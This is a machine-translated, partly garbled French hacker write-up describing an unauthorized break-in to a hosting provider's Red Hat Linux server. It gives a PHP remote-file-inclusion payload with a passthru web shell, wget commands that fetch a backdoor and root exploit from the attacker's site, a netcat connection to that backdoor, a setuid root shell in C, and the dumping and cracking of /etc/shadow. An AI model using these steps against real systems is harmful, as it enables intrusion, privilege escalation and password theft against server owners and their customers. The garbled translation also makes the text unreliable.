This page has been robot translated, sorry for typos if any. Original content here.

Racine sur le fournisseur d'hébergement


Intro.
J'ai décidé de décrire ce piratage en particulier, car il s’est produit juste avant cela (et, pour le moment - le 23/01/03 - le serveur est toujours entre les mains de DHG, pour ainsi dire), il m’a également été demandé de décrire un piratage intéressant.
Je ne veux pas que cette histoire soit un outil pour les atrocités d’autres personnes, alors nous commettons délibérément des erreurs / inexactitudes (ce que tous les utilisateurs avancés remarqueront cependant). Eh bien, mordez aussi des choses élémentaires, telles que "Les équipes Linux également dans quel endroit chercher, comment compiler les exploits", nous ne le ferons pas. Alors allons-y.

Round # 1: à distance.
En général, l'objectif initial était le portail mexicain Linux www. ***. Com, qui était autrefois hébergé par ce fournisseur.
Tout d'abord, il était nécessaire de connaître l'axe sur lequel ce portail se situe. Bien que le tronçon soit clair, le site sur Linux ne peut pas se bloquer sous Windows. Le http était: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", la bannière ftp indiquait:
serveur FTP avec hébergement géré (version 6.5 / OpenBSD, port linux 0.3.2) prêt.
Balayage des ports, cgi-bug'i et de telles absurdités, nous ne sommes pas devenus - ou plutôt, avons décidé de remettre à plus tard. Eh bien, je ne voulais pas non plus couvrir l’essom. Donc, dans la bannière ftp, la phrase "hébergement" est apparue! Après avoir marqué sur ripnet, nous avons décidé de nous tourner directement vers ip, qui avait www. ***. Com. Il m'a amené sur le site "managedhosting.dialtoneinternet.com.mx", qui, évidemment, était son hébergeur. Plus tard, une bruteforce manuelle a été utilisée pour calculer le site d'hébergement actuel: dialtoneinternet.com.mx (www.dialtone.com).
Nous avons décidé de nous arrêter à ce point et de retourner sur le site en panne. Il était sur le moteur PHP "phpWebSite" version inconnue. Ce prochain clone de php-nuke n’a pas mis l’accent sur la sécurité. Toutes les versions de PWS jusqu'à 0.8.2 (même avec une marque stable) présentaient une vulnérabilité liée à "l'injection de source Php". Pour ceux à qui rien ne parle, consultez l'article de r4ShRaY sur cette vulnérabilité. Le reste, lisez la suite. Donc, voici un morceau du fichier sorsa modsecurity.php:

<? php
global $ inc_prefix;
si (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, tout devrait être clair pour tout le monde. Exécutez ce script de la même manière:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Le fichier htmlheader.php, présent sur notre site, sera exécuté avec yet-undefined_right. La seule chose qui me dérangeait était le fait qu'il y ait une version corrigée ou une version plus récente sur le site attaqué (après tout, ce n'est pas une sorte de "page d'accueil de Vasya", mais un portail pour kewl-Linux-userz).
En général, nous avons créé le fichier htmlheader.php sur notre site avec le contenu suivant:

<? passthru ("$ cmd")?>

Puis je suis allé à l'adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Pour qui nous avons reçu une liste du www. # Note alors toutes les équipes gribouilleront sans "...? inc_prefix = http: // ..."!

Tour 2: local.
> echo hi> kewl.txt; chat kewl.txt
Sur ces deux équipes, le navigateur a répondu avec un écran blanc comme neige vide. Cela indique que je n'ai aucun droit d'écrire dans le répertoire www. C’est-à-dire exprimer la déformation jusqu’à présent. Eh bien, avant de prendre d'autres mesures, il était nécessaire de collecter plus d'informations sur le système. L'occupation principale que nous avons suivie derrière le fichier httpd.conf:
> cat /etc/httpd/conf/httpd.conf
À partir de là, nous avons déchiré la version front-end (en passant, l'en-tête http "Server" était muet sur la présence de FrontPage'a), ainsi que la route vers les annuaires www des sites: dialtoneinternet.com.mx (fournisseur d'hébergement endommagé), stormarketing.com, altavistablinds.com, parigitown.com, ainsi que sur plusieurs ressources majeures:
# -FrontPage- version = 4.0
##
## httpd.conf - Fichier de configuration du serveur Apache HTTP
##
...
<VirtualHost 66.33.62.88>
<Répertoire / home / admin / www / serversecure>
Toutes les options
AllowOverride All
</ Répertoire>
Nom du serveur dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
Journaux TransferLog / transfer_log
Groupe personne
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Bien sûr, pour qu’ils soient défigurés, les droits ne sont pas suffisants, MAIS ils suffisent pour voir le service de première ligne.pwd (le cas échéant), avec toutes les conséquences qui en découlent;) Nous avons laissé cette opportunité à cette aventure si je le faisais ne peuvent pas être en mesure de lever leurs privilèges.
De plus, par intérêt, nous avons présenté:
> netstat -a
Qu'avez-vous obtenu (# - mes tags):
  Connexions Internet actives (serveurs et établis)
 Etat d'adresse étrangère pour l'adresse locale Proto Recv-Q Send-Q 
 tcp 0 1 66.33.62. *: 2114 by.ru:wwww LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 Bor116 ESTABLISHED 
 tcp 0 0 *: www *: * ECOUTER 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * ECOUTER 
 tcp 0 0 *: ftp *: * ECOUTER 
 tcp 0 0 *: 81 *: * ECOUTER 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domaine *: * ÉCOUTER 
 tcp 0 0 managedhosting2.:domaine *: * ÉCOUTER 
 tcp 0 0 spacebattles.net:domaine *: * ÉCOUTER 
 tcp 0 0 66.33.62. *: domaine *: * ÉCOUTER 
 tcp 0 0 localhost.locald: domaine *: * ÉCOUTER 
 tcp 0 0 *: smtp *: * ECOUTER 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * ECOUTER 
 tcp 0 0 *: casp3000 *: * ECOUTER 
 tcp 0 0 *: casp5105 *: * ECOUTER 
 tcp 0 0 *: casp5103 *: * ECOUTER 
 tcp 0 0 *: casp5104 *: * ECOUTER 
 tcp 0 0 *: 1581 *: * ECOUTER 
 tcp 0 0 *: 1024 *: * ECOUTER 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 UDP 0 0 managedhosting.d: domaine *: * 
 udp 0 0 managedhosting2.:domaine *: * 
 udp 0 0 spacebattles.net:domaine *: * 
 udp 0 0 66.33.62. *: domaine *: * 
 udp 0 0 localhost.locald: domaine *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Sockets de domaine UNIX actifs (serveurs et établis)
 Drapeaux Proto RefCnt Type Etat Chemin I-Node
 unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) - c'est nous =)
(2) - la présence de ssl exprime généralement l'échange d'informations privées avec le serveur (cc, par exemple). Bien que, pour l'hébergement, c'est dans l'ordre des choses.
(3) - ici c'est coquille! Cela nous sera utile plus tard.
Cela aussi les ports n'avaient pas besoin de scanner :)
Ensuite, il était nécessaire de procéder à certaines actions spécifiques, ou plutôt, de découvrir au moins presque la version de la rubrique plus, sur cette base, pour danser davantage. Donc, pour ceux qui ne le savent pas, certaines distributions (sinon toutes) Linux laissent le fichier "* -release" (où * est le nom de la distribution: mandrake-release, cobalt-release ...) dans le répertoire / etc / Les administrateurs n'ont également aucun moyen de le réparer.
> cat / etc / redhat-release:
Version 6.1 de Red Hat Linux (Cartman)
Obaaaaa, je dois dire que nous ne nous attendions pas à cela :) Tout le reste bla bla était une question de technique. Pour atteindre la racine tant attendue, nous avons décidé d’utiliser la vulnérabilité de RedHat dans rcp.

Red Hat 6.2: rcp possible trou de racine
En fait, la vulnérabilité a été trouvée dans la coiffe 6.2. À propos de 6.1 dans un message de Andrew Griffiths et Tlabs n’a pas dit un mot. En espérant avoir de la chance, nous avons présenté:
> ls -alF `quel rcp`
-rwsr-xr-x 1 racine racine 14868 30 juil 1999 / usr / bin / rcp *
Oups! Suidny rcp possède les locaux pour être! C'est déjà bien :) Je me suis rempli "rcpsploit.pl" de tlabs plus, après avoir étudié la source, arrêté. J'expliquerai peut-être comment cet exploit fonctionne - cela vous aidera peut-être à comprendre l'essence de la vulnérabilité du problème qui s'est également posé.
Alors il crée 2 fichiers:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
retourne 0;
}


hé ------------------------------
Thanksgiving pour le rapport de bug

Ensuite, par le biais de rcp suedny, la compilation shell.c compile également chmod'om s’agit de façon irréelle. Ici aussi tout! Nous lançons un shell compilé, nous obtenons également un shell avec uid = 0, gid = 0. Mais quelle est l’utilisation de ce shell pour nous si nous exécutons des commandes via un serveur Web? : - /
Il était permis de faire que cet exploit ne fonctionne que sur le shell "normal".
Eh bien, besoin d'une coquille? Il le fera! Dans mes archives de warez, une petite orge perlée était en train de prendre la poussière, que nous avons également décidé d'utiliser:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Suivant sur votre ordinateur:
> nc ***. com 51015
En connectant:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, trop facile, il va falloir bien aller :)
> id
uid = 0 (racine) gid = 0 (racine) groupes = 0 (racine), 1 (bin), 2 (démon), 3 (sys), 4 (adm), 4 (adm), 6 (disque), 10 (roue)
Ici aussi tout :) Eh bien, aussi le dernier:
> chat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
démon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR a compté 977 mots de passe%) Pour accélérer la recherche, nous avons entré:
john -i: all -u: ombre racine
Quelque part 8 heures et ... le moment tant attendu:




Ensuite, j’ai versé de l’argent là-dedans, quelques datapipes également bnc ... même si c’est une autre histoire ...

Ce qui a été utilisé dans le piratage:
Netscape v.xz
secureCRT 3.1
Netcat
John l'éventreur
backhole.pl
rcpsploit.pl
Cerveaux
PacketStormSecurity

Conclusions \ commentaires \ commentaires:
1. Si un serveur ou un autre s'appelle de manière importante le fournisseur d'hébergement ou le portail Linux, cela ne signifie pas pour autant qu'il est correctement protégé.
2. Dans le processus de piratage informatique, vous ne devriez pas faire de déclaration spéciale à propos de votre adresse IP (cet article le sera toujours dans le futur).
3. Lors du piratage informatique, le logiciel dit "pirate informatique" n’était presque jamais utilisé.
4. RH6. * - ne rien manger :)

PS IMHO, le lecteur pourrait avoir l’impression que j’ai eu de la chance. Le piratage général a pris quelques minutes. Ce n’est pas le cas. Il y a eu des moments où ils ont simplement lâché prise, à quelle heure je voulais me battre la tête contre le mur.

Publié par: D4rkGr3y


Matériel publié avec l'autorisation de DHGROUP (http://www.dhgroup.org)